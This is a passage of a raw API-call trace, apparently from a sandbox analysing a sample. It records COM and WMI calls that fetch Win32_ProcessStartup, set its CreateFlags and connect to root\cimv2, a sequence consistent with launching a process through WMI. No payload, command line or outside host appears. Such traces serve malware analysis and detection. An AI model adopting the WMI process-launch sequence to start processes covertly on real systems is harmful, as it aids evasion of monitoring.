riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb81050) returned 0x0 [0129.410] WbemLocator:IUnknown:Release (This=0x1bb81050) returned 0x2 [0129.411] SysStringLen (param_1=0x0) returned 0x0 [0129.411] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ae90, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0129.411] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ae90, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0129.411] IWbemServices:GetObject (in: This=0x1bb81050, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb91500, ppCallResult=0x0) returned 0x0 [0129.412] IWbemClassObject:Get (in: This=0x1bb91500, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0129.412] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0129.412] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0129.413] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0129.413] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0129.413] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0129.413] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.414] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bb8b540) returned 0x0 [0129.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b540, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0129.415] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b540, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0b010) returned 0x0 [0129.415] WbemDefPath:IUnknown:Release (This=0x1bb8b540) returned 0x0 [0129.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0b010) returned 0x0 [0129.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0129.415] WbemDefPath:IUnknown:AddRef (This=0x1aa0b010) returned 0x3 [0129.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0129.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0129.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bb8b560) returned 0x0 [0129.415] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b560, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.415] WbemDefPath:IUnknown:Release (This=0x1bb8b560) returned 0x3 [0129.415] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0129.415] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0129.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0129.416] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x2 [0129.416] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x1 [0129.416] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0129.416] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0129.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0b010) returned 0x0 [0129.416] WbemDefPath:IUnknown:AddRef (This=0x1aa0b010) returned 0x3 [0129.416] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x2 [0129.416] WbemDefPath:IWbemPath:SetText (This=0x1aa0b010, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0129.416] IWbemClassObject:Get (in: This=0x1bb91500, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ba268*=0, plFlavor=0x27ba26c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ba268*=19, plFlavor=0x27ba26c*=0) returned 0x0 [0129.416] IWbemClassObject:Get (in: This=0x1bb91500, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ba268*=19, plFlavor=0x27ba26c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ba268*=19, plFlavor=0x27ba26c*=0) returned 0x0 [0129.416] IWbemClassObject:Put (This=0x1bb91500, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0129.416] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0129.416] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.416] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0129.416] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.416] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0129.416] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0129.417] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0129.417] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.418] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bb8b700) returned 0x0 [0129.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b700, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0129.418] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b700, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0b0d0) returned 0x0 [0129.418] WbemDefPath:IUnknown:Release (This=0x1bb8b700) returned 0x0 [0129.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0b0d0) returned 0x0 [0129.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0129.419] WbemDefPath:IUnknown:AddRef (This=0x1aa0b0d0) returned 0x3 [0129.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0129.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0129.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bb8b740) returned 0x0 [0129.419] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.419] WbemDefPath:IUnknown:Release (This=0x1bb8b740) returned 0x3 [0129.419] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0129.419] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0129.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0129.419] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x2 [0129.419] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x1 [0129.419] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0129.419] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0129.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0b0d0) returned 0x0 [0129.419] WbemDefPath:IUnknown:AddRef (This=0x1aa0b0d0) returned 0x3 [0129.419] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x2 [0129.419] WbemDefPath:IWbemPath:SetText (This=0x1aa0b0d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0129.419] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0129.419] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0129.419] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.420] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0129.420] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0129.420] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0129.420] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.421] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bb8b840) returned 0x0 [0129.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b840, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0129.421] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bb8b840, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bb8b860) returned 0x0 [0129.421] WbemLocator:IUnknown:Release (This=0x1bb8b840) returned 0x0 [0129.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b860, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bb8b860) returned 0x0 [0129.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b860, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0129.421] WbemLocator:IUnknown:AddRef (This=0x1bb8b860) returned 0x3 [0129.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b860, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0129.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b860, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0129.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b860, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0129.422] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0129.422] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0129.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b860, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0129.422] WbemLocator:IUnknown:Release (This=0x1bb8b860) returned 0x2 [0129.422] WbemLocator:IUnknown:Release (This=0x1bb8b860) returned 0x1 [0129.422] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0129.422] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0129.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b860, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bb8b860) returned 0x0 [0129.422] WbemLocator:IUnknown:AddRef (This=0x1bb8b860) returned 0x3 [0129.422] WbemLocator:IUnknown:Release (This=0x1bb8b860) returned 0x2 [0129.422] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0129.422] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0129.422] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.422] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bb8b880) returned 0x0 [0129.422] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bb8b880, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bb81440) returned 0x0 [0129.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81440, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa02920) returned 0x0 [0129.551] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02920, pProxy=0x1bb81440, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0129.551] WbemLocator:IUnknown:Release (This=0x1aa02920) returned 0x1 [0129.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81440, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa02960) returned 0x0 [0129.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81440, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa02920) returned 0x0 [0129.551] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02920, pProxy=0x1bb81440, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0129.551] WbemLocator:IUnknown:Release (This=0x1aa02920) returned 0x2 [0129.552] WbemLocator:IUnknown:Release (This=0x1aa02960) returned 0x1 [0129.552] CoTaskMemFree (pv=0x1aa16bc0) [0129.552] WbemLocator:IUnknown:AddRef (This=0x1bb81440) returned 0x2 [0129.552] WbemLocator:IUnknown:Release (This=0x1bb8b880) returned 0x0 [0129.552] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0129.553] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0129.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81440, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, 